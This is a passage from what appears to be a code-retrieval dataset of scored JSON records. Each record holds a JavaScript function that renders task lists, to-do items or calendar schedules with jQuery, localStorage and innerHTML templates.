shown[i];\n\t\t\n\t\tdomObj.attr(\"id\",i);\n\t\tdomObj.find(\".task-content\").text(current.text);\n\t\tdomObj.find(\".urgency-holder\").text(current.priority);\n\t\tdomObj.find(\".date-holder\").text(current.deadline);\n\t\tdomObj.find(\"#maps-link\").attr(\"href\",\"http://maps.google.com/?q=\"+current.place);\n\t\tdomObj.find(\"#editor-link\").on(\"click\", { id:i }, function(event) { editTask(event.data.id); });\n\t\tdomObj.find(\"#remove-link\").on(\"click\", { id:i }, function(event) { removeTask(event.data.id); });\n\t\tdomObj.find(\"#complete-link\").on(\"click\", { id:i }, function(event) { completeTask(event.data.id); });\n\t\t\n\t\t// set deadline warning\n\t\tif (current.deadline == \"\") {\n\t\t\tdomObj.find(\".date-warning\").hide();\n\t\t} else {\n\t\t\tdomObj.find(\".date-warning\").show();\n\t\t}\n\t\t\n\t\t// color the priority holder\n\t\tif (current.priority >= maxPriority) {\n\t\t\tdomObj.find(\".urgency-holder\").css(\"background-color\", colorUrgent);\n\t\t} else if (current.priority > maxPriority * (2/3)) {\n\t\t\tdomObj.find(\".urgency-holder\").css(\"background-color\", colorVeryImportant);\n\t\t} else if (current.priority > maxPriority / 3) {\n\t\t\tdomObj.find(\".urgency-holder\").css(\"background-color\", colorSemiImportant);\n\t\t} else {\n\t\t\tdomObj.find(\".urgency-holder\").css(\"background-color\", colorNotImportant);\n\t\t}\n\t\t\n\t\t//make task visible\n\t\tdomObj.css(\"display\",\"block\");\n\t\tshown[i].domPtr = domObj;\n\t\t$(\"#task-list\").append(shown[i].domPtr);\n\t}\n}", "title": "" }, { "docid": "439f0e6acfdcb394cfb995c413dbda7e", "score": "0.64577496", "text": "function showTaskOutput(){\n let store = localStorage;\n let tasks = JSON.parse(store.getItem('tasks'));\n let i = 1;\n\n if(tasks === null){\n console.log('Trenutno nema niti jedan zadatak na čekanju');\n }else{\n tasks.forEach( (task) => {\n\n let row = document.createElement('tr');\n row.innerHTML = `\n <td>${i}</td>\n <td>${task.task}</td>\n <td class=\"lime lighten-3 center\" style=\"font-weight: 600\">UNDONE</td>\n `\n tableOut.appendChild(row);\n i++;\n });\n }\n}", "title": "" }, { "docid": "b87872780811d41abcd51d86107861de", "score": "0.64551616", "text": "function showAllTasks(){\n \n //get the length of all arrays\n var allTasks = arrayOfTasks_normal.length + arrayOfTasks_appt.length + arrayOfTasks_shop.length + arrayOfTasks_bill.length;\n\n //get the element to display total tasks\n var totalLength = document.getElementById('totalLength');\n\n //long total length into HTML element\n totalLength.innerHTML += allTasks;\n\n $(\".addTaskDisplay-regular\").hide(\"fast\", function(){\n\n $(\".introText\").hide(\"fast\", function(){\n\n $(\".addTaskDisplay-appt\").hide(\"fast\", function(){\n\n $(\".addTaskDisplay-shop\").hide(\"fast\", function(){\n\n $(\".addTaskDisplay-billPayment\").hide(\"fast\", function(){ \n \n $(\".showBasic\").hide(\"fast\", function(){ \n\n $(\".showAllTasksDisplay\").show(\"fast\");\n\n });\n\n });\n\n });\n\n });\n\n });\n\n }); \n\n } // END OF SHOW ALL TASKS FUNCTION", "title": "" }, { "docid": "16b597acfcae0e794ab628ccdf768737", "score": "0.6423347", "text": "function showTaskList(arr){\n let taskList=$QS('.task-list');\n while(taskList.firstChild) taskList.removeChild(taskList.firstChild);\n for(let task of arr){\n let taskRow=$CESC('div', 'task-div-row');\n taskRow.setAttribute('id', task.id);\n let radioBtnClass= task.status==='active' ? 'active' : task.status==='completed' ? 'completed' : '';\n taskRow.innerHTML=`\n <div class=\"radio-btn-div ${radioBtnClass}\"></div>\n <div class=\"task-item\">${task.taskName}</div>\n <div class=\"close-btn-div\">\n <img src=\"images/icon-cross.svg\" alt=\"cross icon\" />\n </div>\n \n `;\n $ACP(taskList, taskRow);\n } \n markCheckInRadioBtn();\n appendClickEventToRadioBtn();\n appendClickEventToDeleteBtn();\n showActiveTasksLeft();\n}", "title": "" }, { "docid": "06912529a5d29870b87e6b7d34378c70", "score": "0.63809204", "text": "function createDay( dayNumber , getTime){\n var output = \"\";\n for(var i =0; i<allTasks.length; i++){\n if(allTasks[i][dayNumber + 2].match(/\\s*--.*/gi) !== null) allTasks[i][dayNumber + 2] = '';\n\n if(allTasks[i][dayNumber + 2] !== \"\" ){\n if(getTime){output = output + allTasks[i][dayNumber + 2] + '<br>' ;}\n else{output = output + allTasks[i][0] + '<br>';}\n }\n }\n return output;\n}", "title": "" }, { "docid": "8f4385009699734665c6935fa31712fb", "score": "0.6362966", "text": "function handleScheduledTaskArray(scheduledTaskArray) {\n // Show the 2 export buttons only after scheduling finishes normally.\n const $exportCalendarButton = $('#export-calendar-button');\n const $exportSheetsButton = $('#sheets-export-button');\n $exportCalendarButton.removeClass('d-none');\n $exportSheetsButton.removeClass('d-none');\n\n const resultElement = document.getElementById('schedule-result-list');\n resultElement.innerHTML = '';\n scheduledTaskArray.forEach(addScheduledTaskToDom);\n}", "title": "" }, { "docid": "7266c71008e957491aea0453ab3db0b9", "score": "0.6358521", "text": "function displayTasks(tasks) {\n\n for(var i = 0; i < tasks.length; ++i) {\n\n var task = new Task();\n task.constructor(tasks[i].task_id, tasks[i].task_name);\n task.checked = tasks[i].checked;\n\n app.tasks.push(task);\n\n displayTask(task);\n }\n}", "title": "" }, { "docid": "3841a44f972e1387cf48b33ab5332114", "score": "0.63550985", "text": "function createTaskHTML(t, tempnum, subtask, onhomepage) {\n const TASK = document.createElement('DIV');\n\n // change task look depending on type\n if (subtask) {\n TASK.className = 'ui secondary segment';\n } else if (t.date.getFullYear() < maintodolist.date.getFullYear()) {\n TASK.className = 'ui raised red segment';\n } else if (t.date.getMonth() < maintodolist.date.getMonth()) {\n TASK.className = 'ui raised red segment';\n } else if (t.date.getDay() < maintodolist.date.getDay()) {\n TASK.className = 'ui raised red segment';\n } else { TASK.className = 'ui raised segment'; }\n TASK.id = `task${tempnum}`;\n const NAME = document.createElement('DIV');\n const DATE = document.createElement('DIV');\n const PRIORITY = document.createElement('DIV');\n const sect = document.createElement('DIV');\n const COMPLETE_B = document.createElement('BUTTON');\n const DESC = document.createElement('DIV');\n\n sect.className = 'ui horizontal segments';\n NAME.className = 'ui segment';\n NAME.innerText = t.name;\n DATE.className = 'ui segment';\n DATE.innerText = t.date.toLocaleDateString();\n PRIORITY.className = 'ui segment';\n PRIORITY.innerText = t.priority;\n DESC.className = 'ui raised segment';\n DESC.innerText = t.desc;\n\n COMPLETE_B.className = 'ui button';\n COMPLETE_B.id = `completetask${tempnum}`;\n COMPLETE_B.innerText = 'Complete Task';\n\n // add listeners to buttons\n\n COMPLETE_B.addEventListener('click', completeTask.bind(this, t));\n\n sect.appendChild(NAME);\n sect.appendChild(DATE);\n sect.appendChild(PRIORITY);\n TASK.appendChild(sect);\n TASK.appendChild(DESC);\n TASK.appendChild(COMPLETE_B);\n\n if (!onhomepage) {\n const EDIT_B = document.createElement('BUTTON');\n EDIT_B.className = 'ui button';\n EDIT_B.id = `edittask${tempnum}`;\n EDIT_B.innerText = 'Edit Task';\n EDIT_B.addEventListener('click', editTask.bind(this, t));\n TASK.appendChild(EDIT_B);\n }\n\n if (!subtask && !onhomepage) {\n const ADDSUB_B = document.createElement('BUTTON');\n ADDSUB_B.className = 'ui button';\n ADDSUB_B.id = `addsubtask${tempnum}`;\n ADDSUB_B.innerText = 'Add Subtask';\n ADDSUB_B.addEventListener('click', addSubTask.bind(this, t));\n TASK.appendChild(ADDSUB_B);\n }\n return TASK;\n}", "title": "" }, { "docid": "e07faad66c99dd6593f6dc0b2a0194a8", "score": "0.63412005", "text": "function filterByDateThenRender(tasks) {\n const today = new Date();\n let completedDate, nextDateToComplete;\n let filteredTasks = tasks.reduce((tasksToDo, currentTask) => {\n completedDate = new Date(currentTask.last_completed_date);\n nextDateToComplete = new Date(\n completedDate.getTime() + daysToMilliseconds(parseInt(currentTask.cadence_in_days, 10))\n );\n\n if(today > nextDateToComplete) tasksToDo.push(currentTask);\n\n return tasksToDo;\n }, []);\n\n renderToHtml(filteredTasks);\n}", "title": "" }, { "docid": "85166aab991a192accc555a6f70739d1", "score": "0.63409066", "text": "function buildList( A , num , task) {\n var el = document.getElementById('showTask');\n var detailArray = JSON.parse(tasksDetails);\n el.innerHTML = \"\";\n for(var j = 0; j < A.length ; j++) {\n if (task === A[j]){\n el.innerHTML += \"<p class='showingTask'>\" +\"<b>Task Name: </b>\" + A[j]+ \"</p> <p class='showingTask'> <b>\" + detailArray[j]+ \"</b></p>\";\n\t}\n }\n }", "title": "" }, { "docid": "284240a02ec78d3509d19a92df3f39d6", "score": "0.6314688", "text": "function createNoTasks() {\n let mssnot = `<span class=\"no_Task_Message\">No Tasks To Show</span>`;\n taskContaner.innerHTML = mssnot;\n}", "title": "" }, { "docid": "c8ccfb23de74a1fe6e7de164f1f06629", "score": "0.6286708", "text": "function getTask(event) {\n // info.days[currentDay].tasks.push($(event))\n let task = event.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent.trim();\n let hour = info.getTaskState.taskArea;\n info.days[currentDay][hour].tasks.push(task)\n console.log(info.days[currentDay][hour].tasks)\n info.getTaskState.state = false;\n storeInfo();\n generateTimeblocks(currentDay);\n changePage(\"dayView\");\n}", "title": "" }, { "docid": "e2ff2cd4621392e8e45df64316d42dd1", "score": "0.6268574", "text": "function renderTaskList(taskList){\n $('#taskTableBody').empty();\n for( let task of taskList) {\n if( task.complete === false){\n $('#taskTableBody').append(`\n <tr class= \"incompleteTask\">\n <td> <button id=\"completedTaskBtn\" data-id= ${task.id}> Mark Complete </button> </td>\n <td> ${task.task} </td>\n <td> ${task.complete} </td>\n <td> <button id=\"deleteTaskBtn\" data-id= ${task.id}> Delete </button> </td>\n </tr>`);\n } else if (task.complete === true){\n $('#taskTableBody').append(`\n <tr class= \"completedTask\">\n <td> </td>\n <td> ${task.task} </td>\n <td> ${task.complete} </td>\n <td> <button id=\"deleteTaskBtn\" data-id= ${task.id}> Delete </button> </td>\n </tr>`);\n }\n }\n}", "title": "" }, { "docid": "cd905059e18ae2d62566fc31a29af5b9", "score": "0.6265188", "text": "function showAllTaskList(){\n showTaskList(allTasks);\n}", "title": "" }, { "docid": "e2bd1752c92ced283029d654a74bcf7e", "score": "0.6250843", "text": "function getTasksForToday() {\n const TODAY_DATE = new Date().toISOString().slice(0, 10);\n const ALL_TASKS = JSON.parse(window.localStorage.getItem('Tasks'));\n const ARRAY_FOR_TEXTS_TASKS_TODAY = [];\n\n const TASKS_FOR_TODAY = ALL_TASKS.map(task => {\n if (task.date === TODAY_DATE) {\n ARRAY_FOR_TEXTS_TASKS_TODAY.push(task.text);\n ARRAY_FOR_TEXTS_TASKS_TODAY.push(', ');\n ARRAY_FOR_TEXTS_TASKS_TODAY.push(task.calories);\n ARRAY_FOR_TEXTS_TASKS_TODAY.push(' calories');\n ARRAY_FOR_TEXTS_TASKS_TODAY.push(<br/>);\n // setTasksToday(task.text);\n }\n }\n );\n\n return ARRAY_FOR_TEXTS_TASKS_TODAY;\n\n }", "title": "" }, { "docid": "d919836d539c3db429dd9997475517dc", "score": "0.622972", "text": "function packagedTaskDay(dataStruct){\n var date = getMyDate();\n $('#container2').empty();\n\n var catChoiceDic = catCookies();\n\n function placeSubtasksHelper(taskDic, isParent){\n if (taskDic[\"end\"].toString() == date){\n buildTask(taskDic[\"taskID\"], taskDic[\"catColor\"], taskDic[\"cat\"], taskDic[\"name\"], taskDic[\"isFinished\"].toString(), isParent, \"container2\", \"day\");\n }\n }\n\n //process data structure of all tasks to find which dates to display\n function placeSubtasks(dataStruct){\n //Extract parent task from data structure for processing\n for (j=0; j < dataStruct.length; j++ ){\n taskDic = dataStruct[j][0];\n placeSubtasksHelper(taskDic, true);\n\n //Extract child subTasks from data structure for processing\n for (i=0; i < dataStruct[j][1].length; i++){\n taskDic = dataStruct[j][1][i];\n if (Object.keys(taskDic).length != 0){\n placeSubtasksHelper(taskDic, false);\n }\n }\n }\n }\n placeSubtasks(dataStruct);\n}", "title": "" }, { "docid": "8847ca1346f60108a6ec12e1076e30bd", "score": "0.622511", "text": "function showTaskList(tasks) {\n\n for (let i = 0; i < tasks.length; i++) {\n document.getElementById('ShowRecord').innerHTML +=\n `\n <li class=\"taskItem\">\n <div class=\"taskItem-body\">\n <a class=\"taskItem-checkboxWrapper checkBox\">\n <span title=\"Mark as Completed\"> \n\n </span> \n <span title=\"Mark as Not Completed\"> \n \n </span> \n </a>\n <div class=\"taskItem-titleWrapper\">\n <span class=\"taskItem-titleWrapper-title\">${tasks[i].dailytask}</span> \n </div>\n <div class='action-btns'>\n <span class='edit-btn' onclick=\"editTask('${tasks[i]._id}' , '${tasks[i].dailytask}')\"></span> \n <span class='delete-btn' onclick=\"deleteTask('${tasks[i]._id}')\"></span>\n </div>\n </div> \n </li>\n \n `\n }\n}", "title": "" }, { "docid": "67d7f937c65e2f2f9492148f9a97842e", "score": "0.62177956", "text": "function get_and_generate_tasks() {\n $.ajax({\n type: \"GET\",\n url: \"scheduler\",\n success: function (response) {\n $(\"#task_col\").empty();\n for (let i = 0; i < response.data.length; i++) {\n e = response.data[i];\n let flag = i == 0 ? true : false;\n\n if (e.to_harvest != \"blank\") {\n if (e.to_harvest == \"red\" || e.to_harvest == \"orange\") {\n add_task(\"Harvest\", 1, e.to_harvest, e.date, flag);\n flag = false;\n } else if (e.to_harvest == \"blue\" || e.to_harvest == \"green\") {\n add_task(\"Harvest\", 4, e.to_harvest, e.date, flag);\n flag = false;\n }\n }\n if (e.to_transfer != \"blank\") {\n if (e.to_transfer == \"red\" || e.to_transfer == \"orange\") {\n add_task(\"Transfer\", 2, e.to_transfer, e.date, flag);\n flag = false;\n } else if (e.to_transfer == \"blue\" || e.to_transfer == \"green\") {\n add_task(\"Transfer\", 3, e.to_transfer, e.date, flag);\n flag = false;\n }\n }\n if (e.to_plant != \"blank\") {\n if (e.to_plant == \"red\" || e.to_plant == \"orange\") {\n add_task(\"Plant\", 2, e.to_plant, e.date, flag);\n flag = false;\n }\n if (e.to_plant == \"blue\" || e.to_plant == \"green\") {\n add_task(\"Plant\", 3, e.to_plant, e.date, flag);\n flag = false;\n }\n }\n }\n\n //enable task 'clear' button\n setTimeout(function () {\n $(\"#clear_task_button\").click(function () {\n $(\"#clear_task_button\").css(\"color\", \"#85879650\");\n $(\"#clear_task_button\").off(\"click\");\n if (response.data[0].to_harvest != \"blank\") {\n complete_task(\"harvest\", response.data[0].to_harvest);\n // console.log(\"harvest clear\");\n } else if (response.data[0].to_transfer != \"blank\") {\n complete_task(\"transfer\", response.data[0].to_transfer);\n } else if (response.data[0].to_plant != \"blank\") {\n complete_task(\"plant\", response.data[0].to_plant);\n }\n });\n }, 2);\n },\n error: function (response) {\n console.log(response);\n },\n });\n}", "title": "" }, { "docid": "b9fd629581d3eb33b75f08b5b2f5d97b", "score": "0.62138647", "text": "function displayTasks(data){\n console.log(data);\n $('#tasks').text('');\n data.forEach(function(task){\n var $div = $('<div></div>');\n $div.data('id', task.id);\n $div.text(task.name);\n\n if(task.is_complete){\n $div.append('You are all done! Good work!');\n }else{\n $div.append('<button class=\"completeTask\"> Complete </button>');\n }\n\n $div.append('<button class=\"deleteTask\"> Delete </button>');\n\n $('#tasks').append($div);\n })\n }", "title": "" }, { "docid": "2565ab515f16967f128e919239748f01", "score": "0.6210756", "text": "function displayTasks(tasks) {\n let importantIcon;\n let taskIcon;\n let taskList = document.getElementById(\"task-list\");\n taskList.innerHTML = \"\";\n tasks.forEach( (currentTask) => {\n let taskItem = createNewElement(\"li\", \"task-element\", currentTask.id);\n let taskContent = createNewElement(\"div\", \"task-content\", currentTask.id + \"-content\");\n if (true === currentTask.completed) {\n taskIcon = createNewElement(\"i\", \"fas fa-check-circle\", currentTask.taskIconId);\n taskContent.innerHTML = currentTask.taskName.strike();\n } else {\n taskIcon = createNewElement(\"i\", \"far fa-circle\", currentTask.taskIconId);\n taskContent.innerHTML = currentTask.taskName;\n }\n if (true === currentTask.important) {\n importantIcon = createNewElement(\"i\", \"fas fa-star important-checked\", currentTask.importantIconId);\n } else {\n importantIcon = createNewElement(\"i\", \"far fa-star\", currentTask.importantIconId);\n }\n taskList.appendChild(taskItem).append(taskIcon, taskContent, importantIcon);\n })\n}", "title": "" }, { "docid": "0e0ca4e6929238427bab273abb53d17d", "score": "0.6187862", "text": "function displayAllTasks() {\n\n // Get container DOM object: \n const container = document.getElementById(\"container\");\n\n //loading all tasks from local storage\n let allTasks = [];\n let allTasksJsonString = localStorage.getItem(\"allTasks\");\n if (allTasksJsonString != null) {\n allTasks = JSON.parse(allTasksJsonString);\n }\n\n // Clear previous data: \n container.innerHTML = \"\";\n\n //display all saved tasks when loading the page\n let index = 0;\n for (const task of allTasks) {\n\n // Create new div - that will be the yellow note\n const noteContainer = document.createElement(\"div\");\n\n // Set class, id and events: \n noteContainer.setAttribute(\"class\", \"note\");\n noteContainer.setAttribute(\"id\", \"noteContainer\"); // <div class=\"note\" id=\"noteContainer\">\n noteContainer.setAttribute(\"onmouseover\", \"showClearButton(this)\"); //create a mouse event that will call a function that will show the \"clear\" button\n noteContainer.setAttribute(\"onmouseout\", \"hideClearButton(this)\"); //create a mouse event that will call a function that will hide the \"clear\" button\n container.appendChild(noteContainer); //add this div (noteContainer) to the main div (container)\n\n // create a new div inside the note that will wrap only the task text (without the date/time)\n const textDiv = document.createElement(\"div\");\n textDiv.setAttribute(\"class\", \"taskTextCont\");\n textDiv.setAttribute(\"id\", \"taskText\");\n noteContainer.appendChild(textDiv); //add the textDiv to the noteContainer div\n //set the task data\n textDiv.innerHTML = task.myTask;\n\n // create a new div inside the note that will wrap only the date and time text (without the task)\n const dateTimeDiv = document.createElement(\"div\");\n dateTimeDiv.setAttribute(\"class\", \"dateTimeTextCont\");\n dateTimeDiv.setAttribute(\"id\", \"dateTimeText\");\n noteContainer.appendChild(dateTimeDiv); //add the timeDiv to the noteContainer div\n //set the date/time data\n dateTimeDiv.innerHTML = task.byDate + \"<br>\" + task.byTime;\n\n //create a button inside the note div\n const clearButton = document.createElement(\"button\");\n clearButton.setAttribute(\"type\", \"button\");\n clearButton.setAttribute(\"id\", \"clearButton\");\n clearButton.setAttribute(\"onclick\", \"deleteTask(this)\"); //create a mouse event that will call a function that will delete the specific task from the board and from the local storage\n //clearButton.setAttribute(\"num\", index.toString()) // convert number to string\n clearButton.style.visibility = \"none\"; //hide the button (i want to show it only when the mouse is over the note)\n\n //create a glyphicon bootstrap element\n const glyphicon = document.createElement(\"span\");\n glyphicon.setAttribute(\"class\", \"glyphicon glyphicon-remove\");\n glyphicon.setAttribute(\"id\", \"clear\"); // <span class=\"glyphicon glyphicon-remove\" id=\"clear\"></span>\n\n clearButton.appendChild(glyphicon); //append the glyphicon to the button \n noteContainer.appendChild(clearButton); //append the button to the note so it will be displayed on each note\n\n index++;\n }\n}", "title": "" }, { "docid": "476619ae203fb359f1e595e2b61e6a18", "score": "0.6187745", "text": "getWeekDays()\n {\n // initialize weekTemplate.\n let weekTemplate = \"\";\n\n // loop through week_days array and add to weekTemplate. -- adding the contents of week_days array to template. 0,3 is the number of letters displayed. (SUN, MON, TUE etc..)\n week_days.forEach((week) =>\n {\n weekTemplate += `<li>${week.slice(0, 3)}</li>`;\n });\n\n // send weekTemplate to HTML using our created objects.\n this.elements.week.innerHTML = weekTemplate;\n }", "title": "" }, { "docid": "c20b7eb9622c396f0b334202da71e705", "score": "0.6186263", "text": "function getList() {\n \n $.ajax({\n type: 'GET',\n url:'/api/tasks/',\n dataType: 'text',\n success: function(response) {\n console.log(response);\n var myArr = JSON.parse(response);\n var myTasks;\n for(i=0;i<myArr.length;i++) {\n var myObj = myArr[i];\n myTasks = myTasks + createTaskElements(myObj);\n }\n console.log(myTasks);\n renderTasks(myTasks);\n }\n });\n\n}", "title": "" }, { "docid": "7e0a28a366db51136972424ed4b80ea8", "score": "0.61754155", "text": "function renderTasks(tasks) {\n console.log('Rendering all of the tasks, all of the time');\n\n // empty the current tasks list\n $('#taskList').empty();\n\n for (let task of tasks) {\n\n // for each task, append a new row to our table\n $('#taskList').append(`\n <tr data-id=\"${task.id}\" data-isCompleted=\"${task.isCompleted}\">\n <td class=\"taskColumns\">\n ${task.task}\n </td>\n <td>${task.due}</td>\n <td>${convertComplete(task.isCompleted)}</td>\n <td>\n <input\n class=\"completeBox\" \n type=\"checkbox\"\n ${checkIfCompleted(task.isCompleted)}\n >\n </td>\n <td>\n <button class=\"deleteBtn\">Delete</button>\n </td>\n </tr>\n `);\n }\n\n // assign completed tasks rows with a different\n // class to add green background to in style.css\n $(function(){\n $(\"tr\").each(function(){\n let col_val = $(this).find(\"td:eq(2)\").text();\n if (col_val == \"Yes\"){\n $(this).addClass('complete');\n } else {\n $(this).addClass('incomplete');\n }\n });\n });\n} // end renderTasks()", "title": "" }, { "docid": "31965cd33a46fb30e9c34b7905957cb0", "score": "0.61703527", "text": "function displayPage() {\n // update with local storage\n if(checkIfDataExistsLocalStorage())\n {\n allData = getDataLocalStorage();\n indexFirstEmptyDay = allData.arrayStorage.length;\n repetitionCount = allData.countStorage;\n\n for(let i=0;i<allData.arrayStorage.length;i++)\n {\n let newDay = new Day();\n newDay.fromData(allData.arrayStorage[i]);\n dayArray.push(newDay);\n }\n }\n\n // generating new days if necessary\n let today = new Date();\n indexCurrentDay = Math.floor(((today.getTime())-(DAY_ZERO.getTime()))/(1000 * 3600 * 24));\n updateBuffer();\n updateLocalStorage(dayArray);\n\n // displaying days\n displayDays();\n updateTasks(0,dayArray.length);\n // remove defer in mdl src on html for this to work\n componentHandler.upgradeDom();\n\n let elmnt = document.getElementById(`day-container-${indexCurrentDay+4}-null-null`);\n elmnt.scrollIntoView(true);\n\n return;\n}", "title": "" }, { "docid": "e96db08fb31467e440ea448050ac982d", "score": "0.61609364", "text": "function renderTasks(template, tasks) {\n\tvar out = [template.head];\n\t\n\tfor (var index = 0; index < tasks.length; index++) {\n\t var t = template.repeat;\n\t var task = tasks[index];\n\t \n\t for (var k in task) {\n\t \tt = t.replace('${' + k + '}', htmlEntities(task[k] || ''));\n\t }\n\t \n\t t = t.replace('${index}', '' + index);\n\n\t for (var k in task) {\n\t \tt += \"<input type=hidden name='\" + k + \"__\" + index + \"' value=\\\"\" + htmlEntities(task[k] || '') + \"\\\" />\"; \t\n\t }\n\t \n\t out.push(t);\n\t}\n\t\n\tout.push(template.tail);\n\n return out.join('');\n}", "title": "" }, { "docid": "21f4aa1cc7179ca98bc5f5f9d1d1d76b", "score": "0.6138839", "text": "function displayTask() {\n day.forEach(function (_currentHour) {\n $(`#${_currentHour.id}`).val(_currentHour.reminder);\n })\n}", "title": "" }, { "docid": "9f92228d90a1e9e4b78d26f7d25caa9a", "score": "0.6137185", "text": "function generateCalendarSchedule() {\n getUserInfo(function (user) {\n let date = new Date()\n let monthToday\n let yearToday\n let firstDayMonth = new Date(date.getFullYear(), date.getMonth(), 1)\n\n monthCounter = date.getMonth() + 1;\n yearCounter = date.getFullYear()\n\n monthToday = date.getMonthName()\n yearToday = date.getFullYear()\n\n let blocksDay = \"\"\n\n let tempArr = user.schedule\n let tempArrTask = user.tasks\n\n let asnDate\n\n //GENERATES EMPTY SPACES\n for (let i = 0; i < firstDayMonth.getDay(); i++) {\n blocksDay += `<li style=\"display: inline-block; height: 24px\"></li>`\n }\n\n //GENERATES FILLED SPACES (NUMBERED SPACES) \n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n blocksDay += `<li class=\"filledDay\" id=\"dayOfTheMonth${i + 1}\">${i + 1}</li>`\n }\n\n $('#calendarMonth').html(`${monthToday}<br><span=\"font-size:18px\">${yearToday}</span>`)\n $('#daysOfMonth').append(blocksDay)\n\n\n //FOR LOOP THAT HIGHLIGHTS FILLED SPOTS\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n\n for (let j = 0; j < tempArr.length; ++j) {\n if (asnDate == tempArr[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasSchedule\")\n }\n }\n for (let j = 0; j < tempArrTask.length; ++j) {\n if (asnDate == tempArrTask[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasTask\")\n\n }\n }\n }\n\n //CHECKS IF IT HAS BOTH SCHEDULE AND TASK\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n if ($(`#dayOfTheMonth${i + 1}`).hasClass(\"hasSchedule\") && $(`#dayOfTheMonth${i + 1}`).hasClass(\"hasTask\")) {\n $(`#dayOfTheMonth${i + 1}`).removeClass(\"hasSchedule\").removeClass(\"hasTask\").addClass(\"hasBoth\");\n }\n }\n\n //GO TO PREVIOUS MONTH\n $('#prevBtn').click(function (e) {\n if (monthCounter != 1) {\n blocksDay = '';\n $('#daysOfMonth').html('')\n\n monthCounter--;\n\n let firstDayMonth = new Date(yearCounter, monthCounter - 1, 1)\n\n //BLANK SPACE\n for (let i = 0; i < firstDayMonth.getDay(); i++) {\n blocksDay += `<li style=\"display: inline-block; height: 24px\"></li>`\n }\n\n monthToday = months[(monthCounter - 1)]\n yearToday = yearCounter\n\n //FILLED SPACE\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n blocksDay += `<li class=\"filledDay\" id=\"dayOfTheMonth${i + 1}\">${i + 1}</li>`\n }\n\n $('#calendarMonth').html(`${monthToday}<br><span=\"font-size:18px\">${yearToday}</span>`)\n $('#daysOfMonth').html(blocksDay)\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n\n for (let j = 0; j < tempArr.length; ++j) {\n if (asnDate == tempArr[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasSchedule\")\n }\n }\n for (let j = 0; j < tempArrTask.length; ++j) {\n if (asnDate == tempArrTask[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasTask\")\n\n }\n }\n }\n\n //CHECKS IF IT HAS BOTH SCHEDULE AND TASK\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n if ($(`#dayOfTheMonth${i + 1}`).hasClass(\"hasSchedule\") && $(`#dayOfTheMonth${i + 1}`).hasClass(\"hasTask\")) {\n $(`#dayOfTheMonth${i + 1}`).removeClass(\"hasSchedule\").removeClass(\"hasTask\").addClass(\"hasBoth\");\n }\n }\n }\n else {\n blocksDay = '';\n\n monthCounter = 12\n yearCounter--;\n\n let firstDayMonth = new Date(yearCounter, monthCounter, 1)\n\n for (let i = 0; i < firstDayMonth.getDay(); i++) {\n blocksDay += `<li style=\"display: inline-block; height: 24px\"></li>`\n }\n\n monthToday = months[(monthCounter - 1)]\n yearToday = yearCounter\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n blocksDay += `<li class=\"filledDay\" id=\"dayOfTheMonth${i + 1}\">${i + 1}</li>`\n }\n\n $('#calendarMonth').html(`${monthToday}<br><span=\"font-size:18px\">${yearToday}</span>`)\n $('#daysOfMonth').html(blocksDay)\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n\n for (let j = 0; j < tempArr.length; ++j) {\n if (asnDate == tempArr[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasSchedule\")\n }\n }\n for (let j = 0; j < tempArrTask.length; ++j) {\n if (asnDate == tempArrTask[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasTask\")\n\n }\n }\n }\n\n //CHECKS IF IT HAS BOTH SCHEDULE AND TASK\n for (let i = 0; i < daysInMonth(monthCounter - 1, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n if ($(`#dayOfTheMonth${i + 1}`).hasClass(\"hasSchedule\") && $(`#dayOfTheMonth${i + 1}`).hasClass(\"hasTask\")) {\n $(`#dayOfTheMonth${i + 1}`).removeClass(\"hasSchedule\").removeClass(\"hasTask\").addClass(\"hasBoth\");\n }\n }\n }\n })\n\n //GO TO NEXT MONTH\n $('#nextBtn').click(function (e) {\n\n if (monthCounter != 12) {\n blocksDay = '';\n\n monthCounter++;\n\n let firstDayMonth = new Date(yearCounter, monthCounter - 1, 1)\n\n for (let i = 0; i < firstDayMonth.getDay(); i++) {\n blocksDay += `<li style=\"display: inline-block; height: 24px\"></li>`\n }\n\n monthToday = months[(monthCounter - 1)]\n yearToday = yearCounter\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n blocksDay += `<li class=\"filledDay\" id=\"dayOfTheMonth${i + 1}\">${i + 1}</li>`\n }\n\n $('#calendarMonth').html(`${monthToday}<br><span=\"font-size:18px\">${yearToday}</span>`)\n $('#daysOfMonth').html(blocksDay)\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n\n for (let j = 0; j < tempArr.length; ++j) {\n if (asnDate == tempArr[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasSchedule\")\n }\n }\n for (let j = 0; j < tempArrTask.length; ++j) {\n if (asnDate == tempArrTask[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasTask\")\n\n }\n }\n }\n\n //CHECKS IF IT HAS BOTH SCHEDULE AND TASK\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n if ($(`#dayOfTheMonth${i + 1}`).hasClass(\"hasSchedule\") && 